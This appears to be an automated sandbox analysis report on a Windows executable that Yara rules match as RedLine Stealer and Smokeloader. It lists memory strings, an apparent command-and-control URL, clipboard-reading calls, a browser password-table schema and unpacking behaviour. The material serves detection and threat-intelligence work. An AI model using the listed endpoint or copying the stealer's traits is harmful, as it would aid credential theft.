Source: LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: LwnI84BBtb.exe, 00000000.00000003.1712472614.0000000004201000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1712668500.0000000004205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: LwnI84BBtb.exe, 00000000.00000003.1712472614.0000000004201000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1712668500.0000000004205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8z
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B05000.00000004.00000020.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001A7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/9
Source: LwnI84BBtb.exe, 00000000.00000003.1752757738.0000000004202000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B0B000.00000004.00000020.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1752899869.0000000004208000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000002.1921974910.0000000004209000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000002.1921955636.0000000004204000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1752809021.0000000001B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/api
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B0B000.00000004.00000020.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1752809021.0000000001B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop:443/api
Source: LwnI84BBtb.exe, 00000000.00000003.1684895328.000000000425E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: LwnI84BBtb.exe, 00000000.00000003.1703633835.0000000004523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: LwnI84BBtb.exe, 00000000.00000003.1703633835.0000000004523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: LwnI84BBtb.exe, 00000000.00000003.1684895328.000000000425C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: LwnI84BBtb.exe, 00000000.00000003.1684895328.000000000425C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: LwnI84BBtb.exe, 00000000.00000003.1712472614.0000000004201000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1712668500.0000000004205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: LwnI84BBtb.exe, 00000000.00000003.1703633835.0000000004523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: LwnI84BBtb.exe, 00000000.00000003.1703633835.0000000004523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: LwnI84BBtb.exe, 00000000.00000003.1703633835.0000000004523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: LwnI84BBtb.exe, 00000000.00000003.1703633835.0000000004523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: LwnI84BBtb.exe, 00000000.00000003.1703633835.0000000004523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Code function: 0_2_0042D8F0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D8F0

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Code function: 0_2_0042D8F0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D8F0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1921423684.0000000001A4E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00421370	0_2_00421370
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_004046D0	0_2_004046D0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00420C42	0_2_00420C42
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00406030	0_2_00406030
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00421090	0_2_00421090
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00426097	0_2_00426097
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00410140	0_2_00410140
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00426148	0_2_00426148
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_004261C3	0_2_004261C3
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_004261D5	0_2_004261D5
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00403492	0_2_00403492
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00405567	0_2_00405567
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_004365C0	0_2_004365C0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_004065F0	0_2_004065F0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00403670	0_2_00403670
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_0043B6A0	0_2_0043B6A0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_0040581F	0_2_0040581F
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00433950	0_2_00433950
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_0043B9D0	0_2_0043B9D0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_004069B4	0_2_004069B4
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00405B18	0_2_00405B18
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_0041DB22	0_2_0041DB22
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00407C70	0_2_00407C70
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00403CEF	0_2_00403CEF
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_00402EC0	0_2_00402EC0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_036603A7	0_2_036603A7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_036763AF	0_2_036763AF
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_036762FE	0_2_036762FE
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_03656297	0_2_03656297
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_03653127	0_2_03653127
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_03653517	0_2_03653517
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_036715D7	0_2_036715D7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_036555DB	0_2_036555DB
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_0367642A	0_2_0367642A
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_0367643C	0_2_0367643C
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_03683BB7	0_2_03683BB7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_03654937	0_2_03654937
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_0368B907	0_2_0368B907
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_03686827	0_2_03686827
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_03653F47	0_2_03653F47
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_03657ED7	0_2_03657ED7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_0368BC37	0_2_0368BC37

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: String function: 03660547 appears 188 times
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: String function: 03658957 appears 34 times
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: String function: 004102E0 appears 188 times
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: String function: 004086F0 appears 34 times

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7396 -s 1568

Source: LwnI84BBtb.exe, 00000000.00000000.1666013473.0000000001A15000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires0 vs LwnI84BBtb.exe
Source: LwnI84BBtb.exe	Binary or memory string: OriginalFilenameFires0 vs LwnI84BBtb.exe

Source: LwnI84BBtb.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1921423684.0000000001A4E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/9@1/1

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Code function: 0_2_01A4F5C6 CreateToolhelp32Snapshot,Module32First,

0_2_01A4F5C6

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Code function: 0_2_004286B8 CoCreateInstance,

0_2_004286B8

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7396

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\9d6a163d-6412-426b-809c-83f29487275e

Jump to behavior

Source: LwnI84BBtb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LwnI84BBtb.exe, 00000000.00000003.1685067804.0000000004234000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: LwnI84BBtb.exe

Virustotal: Detection: 40%

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

File read: C:\Users\user\Desktop\LwnI84BBtb.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\LwnI84BBtb.exe "C:\Users\user\Desktop\LwnI84BBtb.exe"
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7396 -s 1568
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7396 -s 1644

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: LwnI84BBtb.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\cekimif35 yanofegec\62\pus.pdb source: LwnI84BBtb.exe
Source:	Binary string: [C:\cekimif35 yanofegec\62\pus.pdb source: LwnI84BBtb.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Unpacked PE file: 0.2.LwnI84BBtb.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Unpacked PE file: 0.2.LwnI84BBtb.exe.400000.0.unpack

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_01A550F0 push esi; retf		0_2_01A550F4
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_01A550DB push es; iretd		0_2_01A550ED

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
